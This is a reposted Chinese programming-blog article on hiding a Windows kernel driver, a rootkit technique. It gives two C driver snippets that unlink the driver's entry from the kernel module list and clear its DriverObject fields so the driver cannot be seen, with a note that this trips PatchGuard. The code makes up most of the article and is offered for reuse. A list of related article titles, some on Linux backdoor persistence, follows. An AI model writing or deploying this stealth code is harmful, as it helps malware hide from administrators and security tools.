[Rootkit] 驱动隐藏 - 断链

2023-12-17 02:48
文章标签 驱动 隐藏 rootkit 断链

本文主要是介绍[Rootkit] 驱动隐藏 - 断链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

注意 : 此方法会触发 PG

代码参考 1

typedef struct _driverdata
{LIST_ENTRY listentry;ULONG unknown1;ULONG unknown2;ULONG unknown3;ULONG unknown4;ULONG unknown5;ULONG unknown6;ULONG unknown7;UNICODE_STRING path;UNICODE_STRING name;
}driverdata;VOID xiezai1(PDRIVER_OBJECT qudongduixiang)
{KdPrint(("驱动卸载\n"));
}NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao)
{KdPrint(("驱动入口开始\n"));driverdata*driverdata1 = NULL;driverdata1 = *(driverdata**)((ULONG)qudongduixiang + 20);if (driverdata1!=NULL){*(ULONG*)driverdata1->listentry.Blink = (ULONG)driverdata1->listentry.Flink;driverdata1->listentry.Flink->Blink = driverdata1->listentry.Blink;}qudongduixiang->DriverUnload = xiezai1;return STATUS_SUCCESS;
}

代码参考 2

#include "ntddk.h"
HANDLE hThread;
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{DbgPrint("驱动卸载成功\n");
}VOID ThreadRun(PVOID StartContext)
{LARGE_INTEGER times;PDRIVER_OBJECT pDriverObject;times.QuadPart = -30 * 1000 * 1000;  //等待3秒  单位是纳秒KeDelayExecutionThread(KernelMode, FALSE, &times);pDriverObject=(PDRIVER_OBJECT)StartContext;//修改模块信息pDriverObject->DriverSize = 0;pDriverObject->DriverSection = NULL;pDriverObject->DriverExtension = NULL;pDriverObject->DriverStart = NULL;pDriverObject->DriverInit = NULL;pDriverObject->FastIoDispatch = NULL;pDriverObject->DriverStartIo = NULL;ZwClose(hThread);
}NTSTATUS	DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pReg)
{PLIST_ENTRY pModuleList;pModuleList = pDriverObject->DriverSection;//前一个模块的Flink=本模块的FlinkpModuleList->Blink->Flink = pModuleList->Flink;//前一个模块的Blink=本模块的BlinkpModuleList->Flink->Blink = pModuleList->Blink;PsCreateSystemThread(&hThread,GENERIC_ALL,NULL,NULL,NULL, ThreadRun, pDriverObject);return 0;
}

这篇关于[Rootkit] 驱动隐藏 - 断链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/502822

相关文章

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta

恶意PNG:隐藏在图片中的“恶魔”

<img src="https://i-blog.csdnimg.cn/blog_migrate/bffb187dc3546c6c5c6b8aa18b34b962.jpeg" title="214201hhuuhubsuyuukbfy_meitu_1_meitu_2.jpg"/></strong></span><

小程序button控件上下边框的显示和隐藏

问题 想使用button自带的loading图标功能,但又不需要button显示边框线 button控件有一条淡灰色的边框,在控件上了样式 border:none; 无法让button边框隐藏 代码如下: <button class="btn">.btn{border:none; /*一般使用这个就是可以去掉边框了*/} 解决方案 发现button控件有一个伪元素(::after

驱动(RK3588S)第七课时:单节点设备树

目录 需求一、设备树的概念1、设备树的后缀名:2、设备树的语法格式3、设备树的属性(重要)4、设备树格式举例 二、设备树所用函数1、如何在内核层种获取设备树节点:2、从设备树上获取 gpio 口的属性3、获取节点上的属性只针对于字符串属性的4、函数读取 np 结点中的 propname 属性的值,并将读取到的 u32 类型的值保存在 out_value 指向的内存中,函数的返回值表示读取到的

驱动安装注册表指令

HKCR: HKEY_CLASSES_ROOT HKCU: HKEY_CURRENT_USER HKLM: HKEY_LOCAL_MACHINE HKU: HEKY_USER HER: 相对根键

UMDF驱动安装

VS2013 + WDF8.1,UMDF驱动选择User Mode Driver,不要选User Mode Driver 2.0,否则Win7安装有问题,如图 另外,在驱动安装时不要忘记WUDFUpdate_<主版本号><次版本号>.dll文件,具体文件名在INF中查找。此文件可在WDF的安装目录中找到。注意:在WDF的安装目录中会有3个WUDFUpdate_xxx.dll文件,x86,x6

微信小程序uniappvue3版本-控制tabbar某一个的显示与隐藏

1. 首先在pages.json中配置tabbar信息 2. 在代码根目录下添加 tabBar 代码文件 直接把微信小程序文档里面的四个文件复制到自己项目中就可以了   3. 根据自己的需求更改index.js文件 首先我这里需要判断什么时候隐藏某一个元素,需要引入接口 然后在切换tabbar时,改变tabbar当前点击的元素 import getList from '../

电脑驱动分类

电脑驱动程序(驱动程序)是操作系统与硬件设备之间的桥梁,用于使操作系统能够识别并与硬件设备进行通信。以下是常见的驱动分类: 1. 设备驱动程序 显示驱动程序:控制显卡和显示器的显示功能,负责图形渲染和屏幕显示。 示例:NVIDIA、AMD 显示驱动程序。打印机驱动程序:允许操作系统与打印机通信,控制打印任务。 示例:HP、Canon 打印机驱动程序。声卡驱动程序:管理音频输入和输出,与声卡硬件

麒麟系统安装GPU驱动

1.nvidia 1.1显卡驱动 本机显卡型号:nvidia rtx 3090 1.1.1下载驱动 打开 https://www.nvidia.cn/geforce/drivers/ 也可以直接使用下面这个地址下载 https://www.nvidia.com/download/driverResults.aspx/205464/en-us/ 1.1.3安装驱动 右击,

145-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

参考 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客 参考 FlowUs 息流 - 新一代生产力工具 权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹shell脚本